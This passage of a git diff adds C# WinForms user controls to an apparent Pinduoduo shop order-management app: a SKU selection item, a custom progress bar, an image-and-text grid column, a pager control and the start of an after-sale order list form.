System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelBuy.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelBuy.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelBuy.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelBuy.Style.CornerDiameter = 1; + this.panelBuy.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelBuy.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelBuy.Style.GradientAngle = 90; + this.panelBuy.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelBuy.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelBuy.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelBuy.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelBuy.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelBuy.TabIndex = 541; + this.panelBuy.Text = "确定"; + this.panelBuy.Click += new System.EventHandler(this.panelBuy_Click); + // + // lblSkuSpec + // + this.lblSkuSpec.AutoSize = true; + this.lblSkuSpec.BackColor = System.Drawing.SystemColors.Control; + this.lblSkuSpec.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblSkuSpec.ForeColor = System.Drawing.Color.DimGray; + this.lblSkuSpec.Location = new System.Drawing.Point(42, 23); + this.lblSkuSpec.Name = "lblSkuSpec"; + this.lblSkuSpec.Size = new System.Drawing.Size(64, 12); + this.lblSkuSpec.TabIndex = 35; + this.lblSkuSpec.Text = "大号,黑色"; + this.lblSkuSpec.MouseLeave += new System.EventHandler(this.lblSkuSpec_MouseLeave); + this.lblSkuSpec.MouseHover += new System.EventHandler(this.lblSkuSpec_MouseHover); + // + // MyProSkuItemsControl + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.panel1); + this.Name = "MyProSkuItemsControl"; + this.Size = new System.Drawing.Size(420, 56); + this.panel1.ResumeLayout(false); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBoxImg)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.PictureBox pictureBoxImg; + private System.Windows.Forms.Label lblPrice; + private System.Windows.Forms.Label lblSkuSpec; + private DevComponents.DotNetBar.PanelEx panelBuy; + private System.Windows.Forms.Label lblSkuId; + private System.Windows.Forms.GroupBox groupBox1; + } +} diff --git a/29WxOrder/MyControl/MyProSkuItemsControl.cs b/29WxOrder/MyControl/MyProSkuItemsControl.cs new file mode 100644 index 0000000..abaac03 --- /dev/null +++ b/29WxOrder/MyControl/MyProSkuItemsControl.cs @@ -0,0 +1,99 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.Pinduoduo; + +namespace _29WxOrder.MyControl +{ + public partial class MyProSkuItemsControl : UserControl + { + public MyProSkuItemsControl() + { + InitializeComponent(); + } + + public string skuId { get; set; } + + public string skuSpecx { get; set; } + + public void setControlValuex(SkuDetail sku) + { + if (!string.IsNullOrEmpty(sku.thumb_url)) + { + //this.panelImg.Style.BackgroundImage = Image.FromStream(System.Net.WebRequest.Create("").GetResponse().GetResponseStream()); + var img = Image.FromStream(System.Net.WebRequest.Create(sku.thumb_url).GetResponse().GetResponseStream()); + this.pictureBoxImg.Image = img; + } + + string skuSpec = ""; + for (int i = 0; i < sku.skuSpecs.Count; i++) + { + if (i + 1 == sku.skuSpecs.Count) + { + skuSpec += sku.skuSpecs[i].spec_value; + } + else + { + skuSpec += sku.skuSpecs[i].spec_value + ","; + } + } + this.lblSkuSpec.Text = skuSpec; + skuSpecx = skuSpec; + lblSkuId.Text = sku.sku_id; + skuId = lblSkuId.Text; + lblPrice.Text = (sku.group_price / 100).ToString(); + } + + + public delegate void BuyClickHandle(object sender, EventArgs e); + public event BuyClickHandle panelBuyClickHandle; + + private void panelBuy_Click(object sender, EventArgs e) + { + if (panelBuyClickHandle != null) + panelBuyClickHandle(sender, new SkuEventArgs(skuId));//把按钮自身作为参数传递 + } + + + public delegate void MouseHoverHandle(object sender, EventArgs e); + public event MouseHoverHandle skuSpecMouseHoverHandle; + + private void lblSkuSpec_MouseHover(object sender, EventArgs e) + { + if (skuSpecMouseHoverHandle != null) + skuSpecMouseHoverHandle(sender, new SkuEventArgs(skuSpecx));//把按钮自身作为参数传递 + } + + public delegate void MouseLeaveHandle(object sender, EventArgs e); + public event MouseLeaveHandle skuSpecMouseLeaveHandle; + + private void lblSkuSpec_MouseLeave(object sender, EventArgs e) + { + if (skuSpecMouseLeaveHandle != null) + skuSpecMouseLeaveHandle(sender, new SkuEventArgs(skuSpecx));//把按钮自身作为参数传递 + } + + + } + + public class SkuEventArgs : EventArgs + { + private string tag = ""; + //这里还可以继续添加其他需要传递的消息参数 + public SkuEventArgs(string tag) + { + this.tag = tag; + } + public string Tag + { + get { return this.tag; } + } + } + +} diff --git a/29WxOrder/MyControl/MyProSkuItemsControl.resx b/29WxOrder/MyControl/MyProSkuItemsControl.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/MyControl/MyProSkuItemsControl.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/MyControl/MyProgressBar.cs b/29WxOrder/MyControl/MyProgressBar.cs new file mode 100644 index 0000000..373a692 --- /dev/null +++ b/29WxOrder/MyControl/MyProgressBar.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace _29WxOrder.MyControl +{ + public class MyProgressBar : ProgressBar + { + public MyProgressBar() + { + base.SetStyle(ControlStyles.UserPaint, true); + } + + //重写OnPaint方法 + protected override void OnPaint(PaintEventArgs e) + { + SolidBrush brush = null; + Rectangle bounds = new Rectangle(0, 0, base.Width, base.Height); + //... + //e.Graphics.FillRectangle(new SolidBrush(this.BackColor), 1, 1, bounds.Width, bounds.Height); + bounds.Height -= 4; + bounds.Width = ((int)(bounds.Width * (((double)base.Value) / ((double)base.Maximum)))) - 4; + brush = new SolidBrush(Color.FromArgb(33, 113, 202)); + e.Graphics.FillRectangle(brush, 2, 2, bounds.Width, bounds.Height); + + + } + + } +} diff --git a/29WxOrder/MyControl/TextAndImageColumn.cs b/29WxOrder/MyControl/TextAndImageColumn.cs new file mode 100644 index 0000000..43dba84 --- /dev/null +++ b/29WxOrder/MyControl/TextAndImageColumn.cs @@ -0,0 +1,140 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace _29WxOrder.MyControl +{ + public class TextAndImageColumn : DataGridViewTextBoxColumn + { + + private Image imageValue; + private Size imageSize; + + public TextAndImageColumn() + { + this.CellTemplate = new TextAndImageCell(); + } + + public override object Clone() + { + TextAndImageColumn c = base.Clone() as TextAndImageColumn; + c.imageValue = this.imageValue; + c.imageSize = this.imageSize; + return c; + } + + public Image Image + { + get { return this.imageValue; } + set + { + if (this.Image != value) + { + this.imageValue = value; + this.imageSize = value.Size; + + if (this.InheritedStyle != null) + { + Padding inheritedPadding = this.InheritedStyle.Padding; + this.DefaultCellStyle.Padding = new Padding(imageSize.Width, + inheritedPadding.Top, inheritedPadding.Right, + inheritedPadding.Bottom); + } + } + } + } + private TextAndImageCell TextAndImageCellTemplate + { + get { return this.CellTemplate as TextAndImageCell; } + } + internal Size ImageSize + { + get { return imageSize; } + } + } + + + public class TextAndImageCell : DataGridViewTextBoxCell + { + private Image imageValue; + private Size imageSize; + + public override object Clone() + { + TextAndImageCell c = base.Clone() as TextAndImageCell; + c.imageValue = this.imageValue; + c.imageSize = this.imageSize; + return c; + } + + public Image Image + { + get + { + if (this.OwningColumn == null || + this.OwningTextAndImageColumn == null) + { + + return imageValue; + } + else if (this.imageValue != null) + { + return this.imageValue; + } + else + { + return this.OwningTextAndImageColumn.Image; + } + } + set + { + if (this.imageValue != value) + { + this.imageValue = value; + this.imageSize = value.Size; + + Padding inheritedPadding = this.InheritedStyle.Padding; + this.Style.Padding = new Padding(imageSize.Width + 5, + 5, inheritedPadding.Right, + inheritedPadding.Bottom); + } + } + } + + + protected override void Paint(Graphics graphics, Rectangle clipBounds, + Rectangle cellBounds, int rowIndex, DataGridViewElementStates cellState, + object value, object formattedValue, string errorText, + DataGridViewCellStyle cellStyle, + DataGridViewAdvancedBorderStyle advancedBorderStyle, + DataGridViewPaintParts paintParts) + { + // Paint the base content + base.Paint(graphics, clipBounds, cellBounds, rowIndex, cellState, + value, formattedValue, errorText, cellStyle, + advancedBorderStyle, paintParts); + + if (this.Image != null) + { + // Draw the image clipped to the cell. + System.Drawing.Drawing2D.GraphicsContainer container = + graphics.BeginContainer(); + + graphics.SetClip(cellBounds); + graphics.DrawImageUnscaled(this.Image, cellBounds.Location); + + graphics.EndContainer(container); + } + } + + private TextAndImageColumn OwningTextAndImageColumn + { + get { return this.OwningColumn as TextAndImageColumn; } + } + } + +} diff --git a/29WxOrder/MyControl/UcPager.Designer.cs b/29WxOrder/MyControl/UcPager.Designer.cs new file mode 100644 index 0000000..b958d7f --- /dev/null +++ b/29WxOrder/MyControl/UcPager.Designer.cs @@ -0,0 +1,213 @@ +namespace _29WxOrder.MyControl +{ + partial class UcPager + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.txtJumpPage = new System.Windows.Forms.TextBox(); + this.lblJump = new System.Windows.Forms.Label(); + this.lblLastPage = new System.Windows.Forms.Label(); + this.lblFirstPage = new System.Windows.Forms.Label(); + this.pnlPage = new System.Windows.Forms.Panel(); + this.lblPrev = new System.Windows.Forms.Label(); + this.lblNext = new System.Windows.Forms.Label(); + this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); + this.lblTotal = new System.Windows.Forms.Label(); + this.tableLayoutPanel1.SuspendLayout(); + this.SuspendLayout(); + // + // txtJumpPage + // + this.txtJumpPage.Anchor = System.Windows.Forms.AnchorStyles.None; + this.txtJumpPage.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtJumpPage.Location = new System.Drawing.Point(379, 26); + this.txtJumpPage.Margin = new System.Windows.Forms.Padding(0); + this.txtJumpPage.Name = "txtJumpPage"; + this.txtJumpPage.Size = new System.Drawing.Size(30, 22); + this.txtJumpPage.TabIndex = 7; + this.txtJumpPage.Text = "1"; + // + // lblJump + // + this.lblJump.AutoSize = true; + this.lblJump.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblJump.Dock = System.Windows.Forms.DockStyle.Fill; + this.lblJump.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblJump.ForeColor = System.Drawing.Color.Blue; + this.lblJump.Location = new System.Drawing.Point(409, 0); + this.lblJump.Margin = new System.Windows.Forms.Padding(0); + this.lblJump.Name = "lblJump"; + this.lblJump.Size = new System.Drawing.Size(32, 75); + this.lblJump.TabIndex = 6; + this.lblJump.Text = "跳转"; + this.lblJump.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.lblJump.Click += new System.EventHandler(this.lblJump_Click); + // + // lblLastPage + // + this.lblLastPage.AutoSize = true; + this.lblLastPage.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblLastPage.Dock = System.Windows.Forms.DockStyle.Fill; + this.lblLastPage.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblLastPage.ForeColor = System.Drawing.Color.Blue; + this.lblLastPage.Location = new System.Drawing.Point(334, 0); + this.lblLastPage.Name = "lblLastPage"; + this.lblLastPage.Size = new System.Drawing.Size(32, 75); + this.lblLastPage.TabIndex = 2; + this.lblLastPage.Text = "尾页"; + this.lblLastPage.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.lblLastPage.Click += new System.EventHandler(this.lblPage_Click); + // + // lblFirstPage + // + this.lblFirstPage.AutoSize = true; + this.lblFirstPage.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblFirstPage.Dock = System.Windows.Forms.DockStyle.Fill; + this.lblFirstPage.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblFirstPage.ForeColor = System.Drawing.Color.Blue; + this.lblFirstPage.Location = new System.Drawing.Point(236, 0); + this.lblFirstPage.Name = "lblFirstPage"; + this.lblFirstPage.Size = new System.Drawing.Size(32, 75); + this.lblFirstPage.TabIndex = 1; + this.lblFirstPage.Text = "首页"; + this.lblFirstPage.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.lblFirstPage.Click += new System.EventHandler(this.lblPage_Click); + // + // pnlPage + // + this.pnlPage.Anchor = System.Windows.Forms.AnchorStyles.None; + this.pnlPage.AutoSize = true; + this.pnlPage.Location = new System.Drawing.Point(301, 37); + this.pnlPage.Margin = new System.Windows.Forms.Padding(0); + this.pnlPage.Name = "pnlPage"; + this.pnlPage.Size = new System.Drawing.Size(0, 0); + this.pnlPage.TabIndex = 0; + // + // lblPrev + // + this.lblPrev.AutoSize = true; + this.lblPrev.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblPrev.Dock = System.Windows.Forms.DockStyle.Fill; + this.lblPrev.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblPrev.ForeColor = System.Drawing.Color.Blue; + this.lblPrev.Location = new System.Drawing.Point(277, 0); + this.lblPrev.Margin = new System.Windows.Forms.Padding(6, 0, 6, 0); + this.lblPrev.Name = "lblPrev"; + this.lblPrev.Size = new System.Drawing.Size(18, 75); + this.lblPrev.TabIndex = 3; + this.lblPrev.Text = "◁"; + this.lblPrev.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.lblPrev.Click += new System.EventHandler(this.lblPage_Click); + // + // lblNext + // + this.lblNext.AutoSize = true; + this.lblNext.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblNext.Dock = System.Windows.Forms.DockStyle.Fill; + this.lblNext.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblNext.ForeColor = System.Drawing.Color.Blue; + this.lblNext.Location = new System.Drawing.Point(307, 0); + this.lblNext.Margin = new System.Windows.Forms.Padding(6, 0, 6, 0); + this.lblNext.Name = "lblNext"; + this.lblNext.Size = new System.Drawing.Size(18, 75); + this.lblNext.TabIndex = 4; + this.lblNext.Text = "▷"; + this.lblNext.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.lblNext.Click += new System.EventHandler(this.lblPage_Click); + // + // tableLayoutPanel1 + // + this.tableLayoutPanel1.ColumnCount = 12; + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Absolute, 10F)); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Absolute, 10F)); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); + this.tableLayoutPanel1.Controls.Add(this.lblTotal, 10, 0); + this.tableLayoutPanel1.Controls.Add(this.txtJumpPage, 7, 0); + this.tableLayoutPanel1.Controls.Add(this.lblNext, 4, 0); + this.tableLayoutPanel1.Controls.Add(this.lblPrev, 2, 0); + this.tableLayoutPanel1.Controls.Add(this.pnlPage, 3, 0); + this.tableLayoutPanel1.Controls.Add(this.lblFirstPage, 1, 0); + this.tableLayoutPanel1.Controls.Add(this.lblLastPage, 5, 0); + this.tableLayoutPanel1.Controls.Add(this.lblJump, 8, 0); + this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel1.Margin = new System.Windows.Forms.Padding(0); + this.tableLayoutPanel1.Name = "tableLayoutPanel1"; + this.tableLayoutPanel1.RowCount = 1; + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.Size = new System.Drawing.Size(788, 75); + this.tableLayoutPanel1.TabIndex = 6; + // + // lblTotal + // + this.lblTotal.AutoSize = true; + this.lblTotal.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblTotal.Dock = System.Windows.Forms.DockStyle.Fill; + this.lblTotal.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblTotal.ForeColor = System.Drawing.Color.Black; + this.lblTotal.Location = new System.Drawing.Point(454, 0); + this.lblTotal.Name = "lblTotal"; + this.lblTotal.Size = new System.Drawing.Size(98, 75); + this.lblTotal.TabIndex = 8; + this.lblTotal.Text = "共 1 页 0 条数据"; + this.lblTotal.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // UcPager + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.tableLayoutPanel1); + this.Name = "UcPager"; + this.Size = new System.Drawing.Size(788, 75); + this.Load += new System.EventHandler(this.UcPager_Load); + this.tableLayoutPanel1.ResumeLayout(false); + this.tableLayoutPanel1.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + private System.Windows.Forms.TextBox txtJumpPage; + private System.Windows.Forms.Label lblJump; + private System.Windows.Forms.Label lblLastPage; + private System.Windows.Forms.Label lblFirstPage; + private System.Windows.Forms.Panel pnlPage; + private System.Windows.Forms.Label lblPrev; + private System.Windows.Forms.Label lblNext; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; + private System.Windows.Forms.Label lblTotal; + } +} diff --git a/29WxOrder/MyControl/UcPager.cs b/29WxOrder/MyControl/UcPager.cs new file mode 100644 index 0000000..9918040 --- /dev/null +++ b/29WxOrder/MyControl/UcPager.cs @@ -0,0 +1,174 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using NaiBa.Util.Extension; + +namespace _29WxOrder.MyControl +{ + public partial class UcPager : UserControl + { + public UcPager() + { + InitializeComponent(); + } + + private void UcPager_Load(object sender, EventArgs e) + { + ShowPageNumber(); + } + + public delegate void PageTurnEvent(object sender, int page); + public event PageTurnEvent PageTurned; + + public int TotalCount { get; set; } = -1; + int totalPage = 1; + public int TotalPage { get { return totalPage; } set { totalPage = value; ShowPageNumber(); } } + int currentPage = 1; + public int CurrentPage { get { return currentPage; } set { currentPage = value; ShowPageNumber(); } } + + private void lblPage_Click(object sender, EventArgs e) + { + var label = sender as Label; + if (label == null) + return; + if (label.Cursor != Cursors.Hand) + return; + + if (label.Text == "尾页") + currentPage = TotalPage; + else if (label.Text == "首页") + currentPage = 1; + else if (label.Text == "▷") + currentPage += 1; + else if (label.Text == "◁") + currentPage -= 1; + else + currentPage = Convert.ToInt32(label.Text); + + ShowPageNumber(); + + PageTurned(this, currentPage); + } + + /// + /// 显示分页页码 + /// + void ShowPageNumber() + { + if (currentPage > totalPage) + currentPage = totalPage; + if (currentPage < 1) + currentPage = 1; + + int startPage; + if (currentPage + 4 >= totalPage) + startPage = totalPage - 8; + else + startPage = currentPage - 4; + if (startPage < 1) + startPage = 1; + var endPage = startPage + 8; + if (endPage > totalPage) + endPage = totalPage; + + lblTotal.Text = "共 " + totalPage + " 页" + (TotalCount >= 0 ? " " + TotalCount + " 条数据" : ""); + + if (totalPage >= 2) + { + lblFirstPage.Visible = lblLastPage.Visible = lblPrev.Visible = lblNext.Visible = txtJumpPage.Visible = lblJump.Visible = true; + if (currentPage == 1) + { + lblFirstPage.Font = new Font(lblFirstPage.Font.FontFamily, lblFirstPage.Font.Size); + lblFirstPage.Cursor = Cursors.Default; + lblFirstPage.ForeColor = Color.Black; + lblPrev.Font = new Font(lblPrev.Font.FontFamily, lblPrev.Font.Size); + lblPrev.Cursor = Cursors.Default; + lblPrev.ForeColor = Color.Black; + } + else + { + lblFirstPage.Font = new Font(lblFirstPage.Font.FontFamily, lblFirstPage.Font.Size, FontStyle.Underline); + lblFirstPage.Cursor = Cursors.Hand; + lblFirstPage.ForeColor = Color.Blue; + lblPrev.Font = new Font(lblPrev.Font.FontFamily, lblPrev.Font.Size, FontStyle.Underline); + lblPrev.Cursor = Cursors.Hand; + lblPrev.ForeColor = Color.Blue; + } + if (currentPage == totalPage) + { + lblLastPage.Font = new Font(lblFirstPage.Font.FontFamily, lblFirstPage.Font.Size); + lblLastPage.Cursor = Cursors.Default; + lblLastPage.ForeColor = Color.Black; + lblNext.Font = new Font(lblPrev.Font.FontFamily, lblPrev.Font.Size); + lblNext.Cursor = Cursors.Default; + lblNext.ForeColor = Color.Black; + } + else + { + lblLastPage.Font = new Font(lblFirstPage.Font.FontFamily, lblFirstPage.Font.Size, FontStyle.Underline); + lblLastPage.Cursor = Cursors.Hand; + lblLastPage.ForeColor = Color.Blue; + lblNext.Font = new Font(lblPrev.Font.FontFamily, lblPrev.Font.Size, FontStyle.Underline); + lblNext.Cursor = Cursors.Hand; + lblNext.ForeColor = Color.Blue; + } + } + else + { + lblFirstPage.Visible = lblLastPage.Visible = lblPrev.Visible = lblNext.Visible /*= txtJumpPage.Visible = lblJump.Visible*/ = false; + } + + // 初始化按钮数量 + while (pnlPage.Controls.Count <= endPage - startPage) + { + var l = new Label() { TextAlign = ContentAlignment.MiddleCenter, }; + l.Click += lblPage_Click; + pnlPage.Controls.Add(l); + } + // 按钮偏移位置计数 + int x = (int)(lblNext.Font.Size / 2); + // 调整按钮位置等 + for (int i = startPage; i < startPage + pnlPage.Controls.Count; i++) + { + Label lbl = pnlPage.Controls[i - startPage] as Label; + if (i > endPage) + { + lbl.Visible = false; + continue; + } + lbl.MinimumSize = new Size(20, (int)lblNext.Font.Size + 6); + lbl.Visible = true; + lbl.AutoSize = true; + lbl.Text = i.ToString(); + lbl.Name = "lbl" + i.ToString(); + lbl.Location = new Point(x, lbl.Location.Y); + if (i == currentPage) + { + lbl.Font = new Font("Microft YaHei", lbl.Font.Size); + lbl.Cursor = Cursors.Default; + lbl.ForeColor = Color.Black; + } + else + { + lbl.Font = new Font("Microft YaHei", lbl.Font.Size, FontStyle.Underline); + lbl.Cursor = Cursors.Hand; + lbl.ForeColor = Color.Blue; + } + x += lbl.Width + 10; + } + } + + private void lblJump_Click(object sender, EventArgs e) + { + this.currentPage = this.txtJumpPage.Text.ParseToInt(); + ShowPageNumber(); + PageTurned(this, currentPage); + } + } +} diff --git a/29WxOrder/MyControl/UcPager.resx b/29WxOrder/MyControl/UcPager.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/MyControl/UcPager.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/AfterSaleOrderListForm.Designer.cs b/29WxOrder/OrderForms/AfterSaleOrderListForm.Designer.cs new file mode 100644 index 0000000..6b4b639 --- /dev/null +++ b/29WxOrder/OrderForms/AfterSaleOrderListForm.Designer.cs @@ -0,0 +1,603 @@ + +namespace _29WxOrder.OrderForms +{ + partial class AfterSaleOrderListForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.编辑ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.更新订单ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.订单插旗ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.灰色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.紫色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.蓝色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.绿色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.橙色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.红色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.修改备注ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.处理售后ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.退货退款ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.上家订单ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.隐藏该订单ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.显示所有隐藏售后ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.DgvSaleOrderList = new _29WxOrder.MyControl.MyDataGridView(); + this.col_aftersale_id = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_shop_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.shopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_up_product_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_product_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_title = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.productSku = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.aftersale_item_num = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.productprice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.promotion_pay_amount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.pay_amount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.post_amount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.aftersalestatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_id = new System.Windows.Forms.DataGridViewLinkColumn(); + this.item_num = new 